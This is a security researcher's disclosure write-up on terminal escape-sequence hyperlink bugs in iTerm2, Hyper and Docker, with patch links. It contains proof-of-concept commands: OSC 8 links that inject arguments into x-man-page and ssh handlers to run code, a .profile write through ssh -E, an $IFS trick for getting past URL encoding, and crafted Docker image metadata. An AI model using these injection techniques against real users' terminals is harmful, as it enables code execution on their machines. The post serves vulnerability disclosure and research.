What are escape sequences

Modern terminals are very capable tools with quite extended support for various escape sequences. These escape sequences are specially treated by terminal emulators to generate colors, cursor styles, cliboard access and even *wink* hyperlinks!

A few examples of commonly used escape sequences:

Change title of the terminal window to new-title:

$ echo -e "\e]2;new-title\a"

Ring a bell:

$ echo -e "\a"

Most terminal emulators these days allow using Osc 8 to directly generate hyperlinks from arbitrary text.

Typically it looks something like following:

echo -e '\033]8;;http://example.com\033\\This is a link\033]8;;\033\\\n'

It is just like HTML <a> element, right in our terminals.

Arbitrary url schemes

Browsers have been improving(?) over time and now mostly show a pop up to open external programs if a link uses non-standard url schemes like ssh://, ftp://, x-man-page:// etc.

A pop-up after clicking a ssh:// link in a rendered HTML page looks something like this:

Dialog box

However, in most terminal emulators, the links are opened directly in whichever program registered to handle that url scheme i.e. an SSH client for ssh:// urls.

Terminal emulators as url scheme handlers

The default MacOS terminal registers various url scheme handlers on OS X. Any links using those schemes when clicked, would open the MacOS terminal to perform the corresponding action.

e.g. telnet, x-man-page, ssh, whois

You can view the information about url schemes registered on your OS X system using:

/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump | grep -B3 bindings:.*:

iTerm2 similarly allows selecting various url schemes to be handled by itself. The vulnerabilities I am going to share affected the handling of two such url schemes by iTerm2 and one by Vercel’s Hyper.

Vulnerability #1

Handling of x-man-page:// url scheme by iTerm2 was vulnerable to code execution through argument injection.


'x-man-page://foo -P"open -aCalculator"'

OSC 8 version to generate the exploit link from terminal itself which when clicked would pop a calculator:

echo -e '\e]8;;x-man-page://foo%00-P%22open%20-aCalculator%22\e\\This is a link\e]8;;\e\\'

iterm2 vuln1

Patch: https://gitlab.com/gnachman/iterm2/-/commit/de3d351


Vulnerability #2

Handling of ssh:// url scheme by iTerm2 was vulnerable to argument injection allowing arbitrary file write.


echo -e '\e]8;;ssh://-E.profile/`launch-calc`\e\This is a link\e]8;;\e\'

This would append following content to the victim’s .profile:

ssh: Could not resolve hostname cd /`launch-calc`; exec $shell -l: nodename nor servname provided, or not known^M

And once sourced, it would execute the launch-calc command allowing a somewhat delayed limited code execution. Injecting a more elaborate payload might also be possible, not just a single command. Also abusing SSH flags like -F to provide a config file, an attacker could also abuse an already existing local file on the target’s device to achieve the same.

Patch: https://gitlab.com/gnachman/iterm2/-/commit/ef7bb84

CVE-2023-46322, the patch has been released in version 3.5.0

Vulnerability #3

Hyper when installed, registers itself as the handler of ssh:// url schemes. Luckily this feature is broken in 3.4.1 but works in canary versions since 4.0.0-canary4.

Failed PoC for lulz:

echo -e '\e]8;;ssh://example.com&open%20-aCalculator/\e\This is a link\e]8;;\e\'

But of course, thanks to url encoding this does not work and we encounter:

bash: open%20-aCalculator: command not found

(same for ssh://example.com&open -aCalculator/ of course because the space automatically gets converted to url encoded version)

IFS for the rescue!

Successful PoC:

echo -e '\e]8;;ssh://example.com&open$IFS-aCalculator/\e\This is a link\e]8;;\e\'

Hyper code execution

Patch: https://github.com/vercel/hyper/pull/7615

Bonus vulnerability, bad moby!

What better tool to inject arbitrary text containing escape sequences (and hence hyperlinks) into our terminal emulators than Docker?

I created a simple docker image using only one instruction in the Dockerfile i.e. FROM alpine:latest, exported it to tar, modified the json metadata to contain following architecture value to create a new image:

{"architecture":") not found ..\n\n\u001B]8;;https://example.com\u0007Please click this link to install latest docker client.\u001B]8;;\u0007\n\n", ...

This is of course a harmless PoC and you can try it out using docker pull vin01/escape-seq-test:latest --platform darwin/arm64 or docker run --rm vin01/escape-seq-test and you should see the injected link as shown below.

bad mody 1

bad mody 2

This was disclosed to Docker in August last year but is still unpatched and in combination with other vulnerabilities in terminal emulators may be leveraged as an easy attack vector to abuse.

Other weaknesses

I also came across a couple more issues in iTerm2 which were handled in a timely manner and fixed very quickly.

More research in weaponizing escape sequences

Shoutout to solid-snail for uncovering another flaw in iTerm2: From Terminal Output to Arbitrary Remote Code Execution

And to STÖK for Weaponizing Plain Text ANSI Escape Sequences as a Forensic Nightmare

Disclosures and thanks

  • Thanks to Vercel team for handling it under their responsible disclosure program and the swag.
  • Thanks to George Nachman for maintaining iTerm2 and handling vulnerability reports.

Exploring a similar attack vector on Linux and Windows terminals might also be worthwhile.

Upgrade to iTerm2 3.5.0: https://iterm2.com/downloads.html

How to donate to iTerm2